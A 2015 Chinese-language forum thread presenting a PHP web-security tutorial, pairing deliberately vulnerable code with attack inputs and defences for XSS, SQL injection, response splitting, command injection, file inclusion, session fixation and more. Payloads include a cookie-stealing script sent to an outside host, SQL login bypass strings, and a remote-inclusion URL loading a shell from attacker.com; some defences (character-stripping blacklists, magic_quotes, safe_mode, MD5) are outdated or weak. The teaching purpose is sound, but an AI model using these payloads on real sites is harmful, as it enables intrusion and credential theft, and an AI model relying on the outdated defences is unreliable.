joffe 发表于 2015-6-8 16:21:29

常見但很簡單的PHP安全編程,原理,例子及防範

1.   Cross Site Scripting (XSS)     跨站脚本( XSS )属于 WEB 程序中的一类计算机安全漏洞,它允许在用户浏览的网页中注入恶意代码,比如 HTML 代码和客户端脚本。这类漏洞可被用于构造钓鱼攻击和浏览器攻击。 攻击:     攻击者在其请求中注入 HTML 代码。 //Exp 1: <?php $error_message = $_GET [ 'error' ];                                                print $error_message ; ?> index.php?error=<script>window.location=”www.getyourcookies.cc?C=”.document.cookie</script> 把这段代码分布到论坛或者其他地方,即可通过C获取别人的cookies.防御: <?php $error_message = $_GET [ 'error' ]; print htmlspecialchars ( $error_message );                                       ?> 使用htmlspecialchars函数来将特殊字符转换成HTML编码& (和号) 成为 &" (双引号) 成为 "' (单引号) 成为 '< (小于) 成为 <> (大于) 成为 >2. SQL Injection SQL 注入是利用 WEB 程序数据层的安全漏洞进行代码注入的技术。当用户输入的数据中并未对嵌入的 SQL 声明语句进行正确过滤时,或者用户并没有被严格地限制输入,从而导致恶意代码被执行,就有可能造成 SQL 注入漏洞。这是一类很普遍的安全漏洞,它可在任何时候发生于被嵌入的编程或脚本语言之中。 Example 1: #login.php : <? //login.php -- SQL Injection Vulnerable page //Attack and defence php apps book //shahriyar - j $user = $_POST [ 'user' ]; $pass = $_POST [ 'pass' ]; $link = mysql_connect ( 'localhost' , 'root' , 'pass' ) or die( 'Error: ' . mysql_e rror ()); mysql_select_db ( "sql_inj" , $link ); $query = mysql_query ( "SELECT * FROM sql_inj WHERE user ='" . $user . "' AND pass ='" . $pass . "'" , $link ); if ( mysql_num_rows ( $query ) == 0 ) { echo "<scripttype=\"text/javascript\">window.location.href='index.html';</sc ript>" ; exit; } $logged = 1 ; ?> 当用户(可能为攻击者)发送 $_POST [ 'user' ] , $_POST [ 'pass' ] 给 login.php 时,这些变量直接存储在 SQL 请求命令中。如果攻击者发送: $user = 1' OR '1' = '1 $pass = 1' OR '1' = '1 将会绕过 login.php 的登陆验证 防御: 下面是通用的防注入代码: <?php $title = $_POST [ 'title' ]; // user input from site $description = $_POST [ 'description' ]; // user input from site // define the cleaner $dirtystuff = array( "\"" , "\\" , "/" , "*" , "'" , "=" , "- " , "#" , ";" , "<" , ">" , "+" , "%" ); // clean user input (if it finds any of the values above, it will replace it with whatever is in the quotes - in this example, it replaces the value with nothing) $title = str_replace ( $dirtystuff , "" , $title ); // works! $description = str_replace ( $dirtystuff , "" , $description ); // works! // input: I\ "like/ green< ** veg'et=a-bles> ;and< pizza** // output: I like green vegetables and pizza // input: a';DROP TABLE users; SELECT * FROM data WHERE name LIKE '% // output: aDROP TABLE users SELECT FROM data WHERE name LIKE ?> mysql_real_escape_string 3.    HTTP Response Splitting HTTP响应拆分是由于攻击者经过精心设计利用电子邮件或者链接,让目标用户利用一个请求产生两个响应,前一个响应是服务器的响应,而后一个则是攻击者设计的响应。 回车换行符是响应之间的分界符。所以只要我们URL中加入\n\r,那么第二轮响应即会启动,且根据HTTP协议的规定这是完全正常的 可能遭受HTTP请求响应拆分的函数包括以下几个:header(); setcookie(); session_id(); setrawcookie(); HTTP响应拆分通常发生在:Location表头:将使用者的数据写入重定向的URL地址内Set-Cookie表头:将使用者的数据写入cookies内 Example 1: <?php redirect_page = $_GET [ 'page' ]; header ( "Location: " . redirect_page );                                    ?> 首先,我们知道HTTP协议的工作方式是一个请求对应一个响应攻击者发送一条包含一个值及两次响应的请求,使用%0d%0a进行分隔。如:http://localhost/test.php?page=http://localhost/test2.php%0d%0aContent-Length:%200%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aLast-Modified%3A%20Mon%2C%2027%20Oct%202080%2014%3A50%3A18%20GMTContent-Length:%2033%0d%0a%0d%0a%3Chtml%3EHacked%20by%20anonymous%21%3C%2fhtml%3E对于http://localhost/test2.php,我们并不关心其响应本身及内容,只需将Content-Length:0充当响应头,紧接着一次回车换行(CRLF),然后输入构造好的第二次响应,如:HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 20
Hacked by anonymous!这样攻击者就发送了一个将产生两次响应的请求,由于第二次响应还没有与之对应的请求,它将暂时挂起。为了处理第二个挂起的响应,攻击者会立即向服务器发送一条有效的公开访问请求,比如 index.php。GET /index.php HTTP/1.1
Host: localhost这时第二次响应启动,攻击完成。测试时只是给出了Hcaked by anonymous!这样一个警告页面,攻击者完全可以通过精心构造javascript代码,从而实现跨站(XSS)和跨站请求伪造(CSRF)等攻击。 防御: 1 <?php
header(“Location: ” . strtr($_GET['page'], array(“\r”=>””, “\n”=>””)));
?>2. 使用最新版本的PHP(已经不允许在HTTP表头中出现换行字符)。 (5.2.6)4.动态赋值漏洞 : 1- 当使用动态函数加载时,可通过请求来执行指定的函数,导致攻击者可以执行任意函数。 攻击: <?php $myfunc = $_GET [ 'myfunc' ];                                                    $myfunc (); ?> Index.php?myfunc=phpinfo 2- 全局函数漏洞 Register Global 是危险的“ PHP 扩展”: 当其打开时, register_globals 可利用各种变量注入脚本代码,比如来自 HTML 表单的请求。这种漏洞主要与 PHP 变量未初始化相关,以致轻而易举地即可向其写入恶意代码。 下面演示一个未使用 register_globals 的例子: Admin.php <?php if (isset( $is_admin )) { //Yes, I'm the admin so call the Administration Pannel [...] } else { //No, I'm not the admin [...] } ?> # admin.php?is_admin=1 \防御: 任何时候,任何情况下, Register Global 都应该关闭!: 5.进程控制 /PHP 代码注入 (HIGH): 当我们使用下列函数:“ PHP 进程执行函数 & 进程控制”,并且用户可以输入变量(见上面),那么将导致任意的 PHP 代码被执行。 PHP 进程控制列表: Exec system passthru shell_exec proc_open pcntl_exec Example 1: <?php $page = $_GET [ 'page' ]; system ( $page ); ?> # index.php?page= ls /etc/passwd | uname –a ?> 防御:1、尽量不要执行外部命令,使用自定义函数或函数库来替代外部命令的功能2、使用escapeshellarg函数来处理命令参数3 使用safe_mode_exec_dir指定可执行文件的路径, 6. 本地 / 远程文件包含 (High): 本地或者远程文件包含是 PHP 代码审计中的高危漏洞,攻击者可利用它加载本地或者远程文件到 PHP WEB 页面。 危险函数: include include_once require require_once show_source highlight_file readfile file_get_contents fopen file 本地文件包含: <?php$query=$_GET[‘p’];Include($query);?> 在本地文件包含( LFI )攻击中,攻击者可读取对方主机中的任何日志文件和本地文件。也许这种文件浏览并不能造成多大危害,但攻击者可先构造一个错误,然后该错误会被记录在服务器上的日志文件中 (apache log / error log 等等 ) 。当攻击者向目标主机请求一个未存在的文件时: index.php?p=<?php;phpinfo();?> 然后加载error_log,就执行了<?php;phpinfo();?> ,这段php代码就是自己定了。可以写任意恶意代码 远程文件包含: 远程文件包含攻击允许恶意用户在存在漏洞的主机上运行自己的 PHP 代码,攻击者可包含存放在网上空间中用 PHP 编写的网页(恶意)代码。因此攻击者可以注入本地的恶意文件到 URL 中,并在目标服务器上执行: index.php?p=http://attacker.com/shell.php%00 防御对输入数据进行精确匹配(或者白名单方式),比如根据变量的值确定语言en.php、cn.php,那么这两个文件放在同一个目录下’language/’.$_POST[‘lang’].’.php’,那么检查提交的数据是否是en 或者cn 是最严格的,检查是否只包含字母也不错 7.文件管理 (HIGH): 有些 PHP 函数可用于文件管理,如果偷懒的程序员没有对输入变量进行很好地检测,那么就可能造成这种高危漏洞。我们应该在程序中注意如下函数:copy、rmdir、unlink、delete、fwrite、chmod、fgetc、fgetcsv、fgets、fgetss、file、file_get_contents、fread、readfile、ftruncate、file_put_contents、fputcsv、fputs,但通常PHP 中每一个文件操作函数都可能是危险的 Copy 函数 : <?php $file = $_GET [ 'cpFile' ]; $newfile = "/user/local/www/html/tmp/file.php" ; if (! copy ( $file , $newfile )) { echo "failed to copy $file...\n" ; } else { echo " thanks .." } ?> 攻击者可以复制其它文件,比如 '/etc/passwd' into '$newfile' ,然后读取它。 http://victim.com/index.php?cpfile=/etc/passwd 防御对提交数据进行严格匹配,限定文件可操作的目录 8. Cookie / Session injection : session fixation(会话固定攻击) 任何促使受害用户使用攻击者提供的SESSION ID的方法都可以称之为SESSION伪造攻击,最简单的例子就是在一个链接中嵌入SESSION标识符: <a href=”http://www.wemvc.com/login.php?PHPSESSIONID=123123″>登录</a> 受害者点击了这个链接后将会把SESSION ID设置为123123.而且如果受害者在这个时候继续登录,攻击者就能够劫持他的SESSION用来提升自己的权限级别.甚至在购物类型网站中盗取他人帐户钱财. 防御 为了阻止这类攻击,在用户登陆后有效,或者要不然就是获得高权限后才有用。因此,如果当权限级别改变时(例如核实用户名和密码后),我们就应该修改即将重新生成的会话 ID ,这样我们才能真正地消除被 session fixation 攻击的风险。 会话劫持( Session Hijacking ) 话劫持是指攻击者利用各种手段来获取目标用户的session id。一旦获取到session id,那么攻击者可以利用目标用户的身份来登录网站,获取目标用户的操作权限。 攻击者获取目标用户session id的方法:1)暴力破解:尝试各种session id,直到破解为止。2)计算:如果session id使用非随机的方式产生,那么就有可能计算出来3)窃取:使用网络截获,xss攻击等方法获得 防御1)定期更改session id函数 bool session_regenerate_id()delete_old_session为true,则删除旧的session文件;为false,则保留旧的session,默认false,可选在index.php开头加上session_start();session_regenerate_id(TRUE);这样每次从新加载都会产生一个新的session id 2)关闭透明化session id透明化session id指当浏览器中的http请求没有使用cookies来制定session id时,sessioin id使用链接来传递;打开php.ini,编辑session.use_trans_sid = 0或者代码中int_set(“session.use_trans_sid”, 0);session_start(); 4)只从cookie检查session idsession.use_cookies = 1 表示使用cookies存放session idsession.use_only_cookies = 1 表示只使用cookies存放session id,这可以避免session固定攻击代码中int_set(“session.use_cookies”, 1);int_set(“session.use_only_cookies”, 1); p> 5)使用URL传递隐藏参数session_start();$seid = md5(uniqid(rand()), TRUE));$_SESSION["seid"] = $seid;攻击者虽然能获取session数据,但是无法得知$seid的值,只要检查seid的值,就可以确认当前页面是否是web程序自己调用的。

joffe 发表于 2015-6-8 16:22:17

10. XPath 注入 :
主要包括 LDAP 注入和 XPath 注入。 'XPath injection' 与 SQL 注入攻击相似,但它的攻击目标是 XML document ,而非 SQL 数据库。 'XPath Injection' 是用于攻击 WEB 站点的攻击技术,用于构造来自用户提供的 XPath 请求。
例如:
 
<?php
$test = $_GET [ 'test' ];
if ( $test ){
$xml = simplexml_load_file ( "1.xml" );
$result = $xml -> xpath ( $test );
print_r ( $result );
}
?>
1.xml :
<?xml version="1.0" encoding="UTF-8"?>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
 
Good Query :
Index.php?test=from
 
Good Result :
Array ( => SimpleXMLElement Object ( => Jani ) )
 
Bad Query :
Index.php?test=*
 
Good Result For US ! :
Array ( => SimpleXMLElement Object ( => Tove ) => SimpleXMLElement Object ( => Jani
) => SimpleXMLElement Object ( => Reminder ) => SimpleXMLElement Object ( =>Don't forget me this weekend! ) )
 
这是一个存在漏洞的 PHP 程序!

防御:
对于数据进行精确匹配(白名单)
 
 
11.文件上传 (High):
当允许文件上传到你的系统时,你就得承担一定的风险,因为文件可能并非它所显示出来的那样(伪装为图片以上传 PHP 脚本,并将其移动到他们可以运行它的地方等等)。如果你的站点不需要上传文件,那么禁止它将可以防止因疏忽造成的错误而被上传恶意文件。
Example 1 : 下列代码用于处理上传的文件,它将文件移动到 WEB 根目录下。攻击者可以上传恶意 PHP 源文件给该程序以及来自服务端的后续请求,这将导致它们被 PHP 解释器执行(查找 $_FILES 函数 )。
 
<?php
$udir = './' ; // Relative path under Web root
$ufile = $udir . basename ( $_FILES [ 'userfile' ][ 'name' ]);
if ( move_uploaded_file ( $_FILES [ 'userfile' ][ 'tmp_name' ], $ufile )) {
echo "Valid upload received\n" ;
} else {
echo "Invalid upload rejected\n" ;
} ?>
 
 

 
防御:
使用白名单方式检测文件后缀
上传之后按时间等算法生成文件名称
上传目录脚本文件不可执行
 
12. 不安全的随机命名 Session / Cookie / 备份文件 (Medium) :
在命名 session & cookie & 备份文件时,将其随机化,可能会出卖它们。
例如:
<?php
$rnd = rand ( 1 , 100 );
$fp = fopen ( $rnd . '_backup_.sql' , 'w' );
fwrite ( $fp , $db );
fclose ( $fp );
?>
本例中:将备份文件写入到 "$rand_backup_.sql" 中。在代码第 2 行中,我们可以看到 $rand 参数,它随机生成 1-100 之间的任意数。攻击者可写入代码以暴力破解文件名。因此当我们在生成 Session & Cookie 的时候,应当谨慎地使用随机函数。
 
 
 
 
 
13 . 弱口令 : (Low)
你必须检查一下:
-          你在数据库中使用未加密的明码。
-          加密密码(例如: MD5 ),但还不够安全。
-          保存密码在 [.txt, .ini, .xml...] 等文件中,这些文件都有可能被攻击者读取到。
-          使用弱口令。
 
14. 信息泄露
phpinfo
如果攻击者可以浏览到程序中调用phpinfo 显示的环境信息,会为进一步攻击提供便利

15. PHP环境

open_basedir 设置
open_basedir 能限制应用程序能访问的目录,检查有没有对open_basedir 进行设置,当然有的通过web 服务器来设置
allow_url_fopen 设置
如果allow_url_fopen=ON,那么php 可以读取远程文件进行操作,这个容易被攻击者利用

allow_url_include设置
如果allow_url_include=ON,那么php 可以包含远程文件,会导致严重漏洞

safe_mode_exec_dir 设置
这个选项能控制php 可调用的外部命令的目录,如果PHP 程序中有调用外部命令,那么
指定外部命令的目录,能控制程序的风险

magic_quote_gpc设置
这个选项能转义提交给参数中的特殊字符,建议设置magic_quote_gpc=ON

register_globals设置
开启这个选项,将导致php 对所有外部提交的变量注册为全局变量,后果相当严重

safe_mode 设置
php的安全模式是个非常重要的内嵌的安全机制,能够控制一些php中的函数,比如system(),同时把很多文件操作函数进行了权限控制,也不允许对某些关键文件的文件,比如/etc/passwd,
  但是默认的php.ini是没有打开安全模式的,我们把它打开:
  safe_mode = on
session_use_trans_sid 设置
如果启用session.use_trans_sid,会导致PHP 通过URL 传递会话ID ,这样一来,攻击者
就更容易劫持当前会话,或者欺骗用户使用已被攻击者控制的现有会话。

display_errors 设置
如果启用此选项,PHP 将输出所有的错误或警告信息,攻击者能利用这些信息获取web
根路径等敏感信息

expose_php设置
如果启用expose_php 选项,那么由PHP 解释器生成的每个响应都会包含主机系统上所安
装的PHP 版本。了解到远程服务器上运行的PHP 版本后,攻击者就能针对系统枚举已知的盗
取手段,从而大大增加成功发动攻击的机会。

cookie 发表于 2015-6-9 09:58:46

感觉很有用的样子。。。:o

joffe 发表于 2015-8-12 16:02:53

cookie 发表于 2015-6-9 09:58
感觉很有用的样子。。。

谢谢:) !!!!!!!!!!!!!!!!!
页: [1]
查看完整版本: 常見但很簡單的PHP安全編程,原理,例子及防範